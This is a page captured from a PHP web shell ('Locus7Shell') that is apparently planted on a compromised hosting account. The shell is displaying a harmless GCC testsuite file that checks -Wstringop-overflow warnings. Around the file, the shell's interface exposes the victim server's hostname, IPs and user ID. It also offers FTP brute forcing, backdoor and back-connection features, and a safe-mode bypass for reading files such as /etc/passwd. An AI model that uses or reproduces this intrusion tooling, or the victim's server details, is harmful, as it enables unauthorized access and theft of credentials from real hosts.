Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wstringop-overflow-65.c (2.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR middle-end/96963 - -Wstringop-overflow false positive with
   -ftree-vectorize when assigning consecutive char struct members
   { dg-do compile }
   { dg-options "-O2 -Wall -ftree-vectorize" } */

void sink (void*);

struct Char
{
  int i;
  char c, d, e, f;
  char a[2], b[2];
};

void nowarn_char_assign (struct Char *p)
{
  sink (&p->c);

  /* Verify the bogus warning triggered by the tree-ssa-strlen.c pass
     is not issued.  */
  p->c = 1;         // { dg-bogus "\\\[-Wstringop-overflow" }
  p->d = 2;
  p->e = 3;
  p->f = 4;
}

void nowarn_char_array_assign (struct Char *p)
{
  sink (p->a);

  p->a[0] = 1;      // { dg-bogus "\\\[-Wstringop-overflow" }
  p->a[1] = 2;
  p->b[0] = 3;
  p->b[1] = 4;
}

void warn_char_array_assign_interior (struct Char *p)
{
  sink (p->a);

  p->a[0] = 1;
  p->a[1] = 2;
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Warray-bounds"
  /* Warnings are only suppressed for trailing arrays.  Verify
     one is issued for an interior array.  */
  p->a[2] = 5;      // { dg-warning "\\\[-Wstringop-overflow" }
#pragma GCC diagnostic pop
}

void warn_char_array_assign_trailing (struct Char *p)
{
  /* This is separated from warn_char_array_assign_interior because
     otherwise GCC removes the store to p->a[2] as dead since it's
     overwritten by p->b[0].  */
  sink (p->b);

  p->b[0] = 3;
  p->b[1] = 4;
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Warray-bounds"
  /* Warnings are only suppressed for trailing arrays with at most
     one element.  Verify one is issued for a two-element array.  */
  p->b[2] = 5;      // { dg-warning "\\\[-Wstringop-overflow" }
#pragma GCC diagnostic pop
}


/* Also verify there's no warning for other types than char (even though
   the problem was limited to chars and -Wstringop-overflow should only
   trigger for character accesses).  */

struct Short
{
  int i;
  short c, d, e, f;
  short a[2], b[2];
};

void nowarn_short_assign (struct Short *p)
{
  sink (&p->c);

  p->c = 1;
  p->d = 2;
  p->e = 3;
  p->f = 4;
}

void nowarn_short_array_assign (struct Short *p)
{
  sink (p->a);

  p->a[0] = 1;
  p->a[1] = 2;
  p->b[0] = 3;
  p->b[1] = 4;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0054 ]--